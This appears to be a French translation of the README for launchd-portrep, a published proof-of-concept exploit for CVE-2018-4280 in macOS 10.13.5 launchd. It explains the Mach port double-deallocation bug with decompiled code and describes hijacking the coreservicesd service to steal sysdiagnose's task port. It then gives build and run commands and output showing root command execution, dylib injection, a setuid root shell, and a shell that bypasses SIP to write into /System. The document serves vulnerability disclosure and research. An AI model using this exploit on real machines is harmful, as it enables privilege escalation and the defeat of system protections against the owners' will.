
CVE-2018-4280 : vulnérabilité de remplacement de port Mach dans launchd sur macOS 10.13.5 entraînant une élévation de privilèges locale et un contournement de SIP.
launchd-portrep est un exploit pour une vulnérabilité de remplacement de port dans launchd, le premier processus de l'espace utilisateur et démon de gestion des services sur macOS. En envoyant un message Mach spécialement conçu au port bootstrap, launchd peut être contraint de désallouer son droit d'envoi pour tout port Mach pour lequel l'attaquant possède également un droit d'envoi. Cela permet à l'attaquant d'usurper auprès du reste du système tout service launchd qu'il peut résoudre.
Launchd multiplexe plusieurs gestionnaires de messages Mach différents sur son port principal, y compris un gestionnaire MIG pour les messages d'exception. Si un processus envoie un message mach_exception_raise ou mach_exception_raise_state_identity à son propre port bootstrap, launchd recevra et traitera ce message comme une exception au niveau de l'hôte.
Malheureusement, la gestion de ces messages par launchd est défectueuse. Si le type d'exception est EXC_CRASH, launchd désalloue les ports thread et tâche envoyés dans le message, puis retourne KERN_FAILURE depuis la routine de service, ce qui amène le système MIG à désallouer à nouveau les ports thread et tâche. (L'hypothèse est que si une routine de service retourne un succès, elle a pris possession de toutes les ressources du message Mach, tandis que si la routine de service retourne une erreur, elle n'a pris possession d'aucune des ressources.)
Voici le code de la routine de service de launchd pour les messages mach_exception_raise, décompilé avec IDA/Hex-Rays et légèrement édité pour plus de lisibilité :
kern_return_t __fastcall
catch_mach_exception_raise( // (a) The service routine is
mach_port_t exception_port, // called with values directly
mach_port_t thread, // from the Mach message
mach_port_t task, // sent by the client. The
unsigned int exception, // thread and task ports could
mach_exception_data_t code, // be arbitrary send rights.
unsigned int codeCnt)
{
kern_return_t kr; // eax@1 MAPDST
kern_return_t result; // eax@10
int pid; // [rsp+14h] [rbp-43Ch]@1
char codes_str[1024]; // [rsp+20h] [rbp-430h]@5
__int64 __stack_guard; // [rsp+420h] [rbp-30h]@1
__stack_guard = *__stack_chk_guard_ptr;
pid = -1;
kr = pid_for_task(task, &pid);
if ( kr )
{
_os_assumes_log(kr);
_os_avoid_tail_call();
}
if ( codeCnt )
{
do
{
__snprintf_chk(codes_str, 0x400uLL, 0, 0x400uLL, "0x%llx", *code);
++code;
--codeCnt;
}
while ( codeCnt );
}
launchd_log_2(
0LL,
3LL,
"Host-level exception raised: pid = %d, thread = 0x%x, "
"exception type = 0x%x, codes = { %s }",
pid,
thread,
exception,
codes_str);
kr = deallocate_mach_port(thread); // (b) The "thread" port sent in
if ( kr ) // the message is deallocated.
{
_os_assumes_log(kr);
_os_avoid_tail_call();
}
kr = deallocate_mach_port(task); // (c) The "task" port sent in the
if ( kr ) // message is deallocated.
{
_os_assumes_log(kr);
_os_avoid_tail_call();
}
result = 0;
if ( *__stack_chk_guard_ptr == __stack_guard )
{
LOBYTE(result) = exception == 10; // (d) If the exception type is 10
result *= 5; // (EXC_CRASH), then an error
} // KERN_FAILURE is returned.
return result; // MIG will deallocate the
} // ports again.
Cette double désallocation des noms de ports est problématique car un processus peut définir les ports de son choix comme ports tâche et thread dans le message d'exception. Launchd ne vérifie pas que les droits d'envoi reçus correspondent réellement à un thread et à une tâche ; les ports pourraient, par exemple, être des droits d'envoi vers des ports déjà présents dans l'espace IPC de launchd. La double désallocation amènerait alors launchd à abandonner une référence utilisateur sur l'un de ses propres ports.
Ce bug peut être exploité pour libérer le droit d'envoi de launchd vers tout port Mach pour lequel le processus attaquant possède également un droit d'envoi. En particulier, si le processus attaquant peut résoudre un service système via launchd, il peut libérer le droit d'envoi de launchd vers ce service, puis usurper ce service auprès du reste du système. Ensuite, il existe de nombreuses voies différentes pour obtenir des privilèges système.
Ce bug est une version moins générale de CVE-2016-7637, un problème de gestion des références utilisateur de ports Mach dans XNU découvert par Ian Beer qui permettait aux processus de libérer des ports Mach dans d'autres processus. Ian Beer a exploité cette vulnérabilité sur macOS en remplaçant le droit d'envoi de launchd vers le point de terminaison com.apple.CoreServices.coreservicesd et en se faisant passer pour coreservicesd auprès du reste du système. Coreservicesd est une cible intéressante car c'est l'un des rares services auxquels les clients envoient leur port de tâche dans un message Mach. En remplaçant le droit d'envoi de launchd vers coreservicesd par son propre port, puis en déclenchant des clients privilégiés pour résoudre et communiquer avec coreservicesd, il a pu obtenir le port de tâche d'un processus privilégié, puis exécuter du code dans ce processus.
Comme le comportement de macOS n'a pas changé, j'ai essentiellement copié la stratégie d'exploitation d'Ian Beer pour cette vulnérabilité. Nous envoyons à launchd des messages d'exception contenant le port de service de coreservicesd jusqu'à ce que nous libérions le droit d'envoi de launchd vers ce port. Nous pouvons détecter quand nous avons libéré le droit en appelant à nouveau bootstrap_look_up() sur le service : si launchd retourne un nom de port invalide, alors nous avons réussi à libérer le droit d'envoi de launchd vers le port. Ensuite, nous enregistrons et désenregistrons à plusieurs reprises un grand nombre de services auprès de launchd jusqu'à ce que l'un des services que nous enregistrons reçoive le même nom de port Mach dans l'espace IPC de launchd que le port coreservicesd d'origine. À ce stade, tout processus qui résout com.apple.CoreServices.coreservicesd dans launchd recevra un droit d'envoi vers notre faux service plutôt que vers le vrai coreservicesd. Nous exécutons alors un serveur MITM sur le port du faux service, inspectant tous les ports Mach dans les messages reçus des clients avant de les transmettre au vrai coreservicesd. À ce moment, nous envoyons un message à sysdiagnose l'amenant à exécuter un tailspin, ce qui fait que sysdiagnose se connecte à notre faux port coreservicesd et nous envoie son port de tâche. Comme sysdiagnose possède l'entitlement task_for_pid-allow, nous pouvons maintenant obtenir le port de tâche de n'importe quel processus.
Afin de (plus ou moins) rétablir le bon fonctionnement du système, nous utilisons sysdiagnose pour obtenir le port de tâche de launchd, puis nous utilisons ce port de tâche pour remplacer le droit d'envoi de launchd vers notre faux port de service par un droit d'envoi vers le vrai coreservicesd. Ainsi, les futurs clients pourront réellement atteindre coreservicesd.
Un problème que j'ai remarqué avec cette approche est que le système semble se bloquer brièvement à l'arrêt. Je suppose que cela vient du fait que la modification des ports de launchd perturbe une partie de la comptabilité ou des notifications de port de launchd. Je n'ai pas approfondi ce problème, mais redémarrer coreservicesd avec launchctl semble le résoudre :
$ sudo launchctl kickstart -k -p system/com.apple.coreservicesd
Une fois que nous avons l'exécution de code dans un processus task_for_pid-allow, nous pouvons contrôler n'importe quelle tâche du système. C'est très intéressant car non seulement nous pouvons effectuer l'élévation de privilèges standard, mais nous pouvons aussi contourner SIP en injectant du code dans des processus disposant d'entitlements SIP.
Cet exploit démontre deux utilisations potentielles : l'exécution de commandes système en tant que root et l'injection de dylib. Pour exécuter une commande système, nous invoquons simplement la fonction standard system() depuis sysdiagnose, en lui passant la chaîne de commande fournie par l'utilisateur. Pour injecter une dylib dans un processus, nous appelons task_for_pid() depuis sysdiagnose pour obtenir le port de tâche de la cible, puis nous utilisons ce port de tâche pour appeler dlopen() sur la bibliothèque fournie.
Pour compiler l'exploit autonome launchd-portrep, exécutez make. Consultez le haut du Makefile pour les différentes options de compilation. Vous devrez d'abord télécharger et compiler la bibliothèque d'injection threadexec.
$ git clone https://github.com/bazad/launchd-portrep
$ cd launchd-portrep
$ git clone https://github.com/bazad/threadexec
$ cd threadexec
$ make ARCH=x86_64 SDK=macosx
$ cd ..
$ make
Notez que l'exploit tel qu'écrit échouera si le processus sysdiagnose est déjà en cours d'exécution. Ainsi, pour les besoins de cette preuve de concept, assurez-vous de tuer sysdiagnose avant d'exécuter l'exploit. (Il est possible de retravailler l'exploit pour qu'il fonctionne toujours si sysdiagnose est déjà en cours d'exécution, mais j'ai décidé de ne pas intégrer cette fonctionnalité afin de dissuader l'utilisation de cet outil à des fins malveillantes.)
Exécutez l'exploit en spécifiant la commande à exécuter comme si elle était donnée à la fonction system() :
$ ./launchd-portrep 'touch /tmp/exploit-success'
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0xd77 (index 196) after 28 tries
[+] Sysdiagnose has PID 499
[+] Found sysdiagnose task port 0x1767b
[+] Command exited with status: 0
$ ls -la /tmp/exploit-success
-rw-r--r-- 1 root wheel 0 Jul 24 23:50 /tmp/exploit-success
Alternativement, si vous spécifiez un PID et un chemin absolu vers un fichier de bibliothèque dynamique, launchd-portrep injectera la dylib dans le processus spécifié.
Il existe également deux scripts d'exemple qui encapsulent launchd-portrep : launchd-portrep-rootsh.sh et launchd-portrep-rootless.sh.
launchd-portrep-rootsh.sh présentera un shell root traditionnel en installant un lanceur de shell setuid-root sous /var/suid-sh. (Le shell setuid est automatiquement supprimé après 1 seconde.)
$ bash ./launchd-portrep-rootsh.sh
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0x153b (index 192) after 60 tries
[+] Sysdiagnose has PID 1231
[+] Found sysdiagnose task port 0x1df7b
[+] Command exited with status: 0
Launching /private/var/suid-sh
bash-3.2#
launchd-portrep-rootless.sh est encore plus intéressant : il présente un shell où les restrictions rootless sur le système de fichiers ont été désactivées. Pour ce faire, il lance diskmanagementd, qui possède l'entitlement com.apple.rootless.install.heritable, puis injecte une dylib dans diskmanagementd qui l'amène à lancer un shell avec stdin et stdout reliés à des tubes nommés. Comme le nom de l'entitlement le suggère, les exemptions de SIP accordées par com.apple.rootless.install.heritable seront transmises aux processus enfants, ce qui signifie que le shell et toutes les commandes que vous y exécutez sont essentiellement exemptés des protections SIP du système de fichiers.
$ bash ./launchd-portrep-rootless.sh
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0xe7b (index 194) after 60 tries
[+] Sysdiagnose has PID 1145
[+] Found sysdiagnose task port 0x1747b
[+] Command exited with status: 0
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0x13d7b (index 199) after 61 tries
[+] Sysdiagnose has PID 1162
[+] Found sysdiagnose task port 0xbe47
[+] Got task port 0xa07 for PID 1153
[+] Successfully loaded "/Users/bazad/Developer/GitHub/launchd-portrep/rootless-sh.dylib" in process 1153
bash: no job control in this shell
bash-3.2# csrutil status
System Integrity Protection status: enabled.
bash-3.2# ls -laO /System
total 0
drwxr-xr-x@ 4 root wheel restricted 128 Jul 25 19:08 .
drwxr-xr-x 31 root wheel sunlnk 992 Jul 25 12:20 ..
-rw-r--r-- 1 root wheel restricted 0 Oct 6 2017 .localized
drwxr-xr-x 102 root wheel restricted 3264 Jun 12 11:47 Library
bash-3.2# touch /System/exploit-success
bash-3.2# ls -laO /System
total 0
drwxr-xr-x@ 5 root wheel restricted 160 Jul 25 19:19 .
drwxr-xr-x 31 root wheel sunlnk 992 Jul 25 12:20 ..
-rw-r--r-- 1 root wheel restricted 0 Oct 6 2017 .localized
drwxr-xr-x 102 root wheel restricted 3264 Jun 12 11:47 Library
-rw-r--r-- 1 root wheel restricted 0 Jul 25 19:19 exploit-success
bash-3.2# exit
launchd-portrep a été testé sur macOS 10.13.5 17F77.
Le code de launchd-portrep est publié sous la licence MIT.
Brandon Azad